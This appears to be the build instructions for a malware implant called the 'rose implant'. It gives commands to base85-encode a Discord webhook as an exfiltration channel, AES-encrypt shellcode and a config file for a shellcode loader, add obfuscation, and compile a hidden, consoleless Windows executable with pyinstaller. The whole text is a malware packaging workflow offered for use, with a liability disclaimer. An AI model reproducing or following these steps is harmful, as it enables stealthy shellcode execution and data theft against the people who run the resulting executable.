[!CAUTION] I am not liable for anything that is happening with this software. If you don't trust it, read the source.
[!IMPORTANT] This is a small rewritten version for the rose implant. I don't provide support for this. You should know what you're doing.
pip install -r assets\requirements.txt
)python utils\b85_encode.py DISCORD_WEBHOOK
[main]
# base 85 encoded and hexified discord webhook
discord_webhook=DISCORD_WEBHOOK <--- Put the encoded webhook here
shellc.dat
python utils\aes_encrypt.py payload\shellc.dat payload\shellc.aes
[shellcode_loader]
# file path storing AES encrypted and compressed shellcode
shellcode_file_name=shellc.aes
# hexified 32 byte (128-bit AES key)
shellcode_key=AES_KEY <--- Put the AES key here
python utils\aes_encrypt.py payload\config.ini payload\config.aes
key = "AES_KEY" # hexified 32 byte key (128-bit) <--- Put the AES key here
(Additionally i would recommend to add obfuscation on the script now.)
pyinstaller --noconsole --onefile --clean --add-data "payload\shellc.aes;." --add-data "payload\config.aes;." --hidden-import cryptography --hidden-import pywin32 --hidden-import pillow --hidden-import aiohttp payload\main.py
pyinstaller --noconsole --onefile --clean --add-data "payload\config.aes;." --hidden-import cryptography --hidden-import pywin32 --hidden-import pillow --hidden-import aiohttp payload\main.py
Yay! Your executable is now inside of the dist
folder.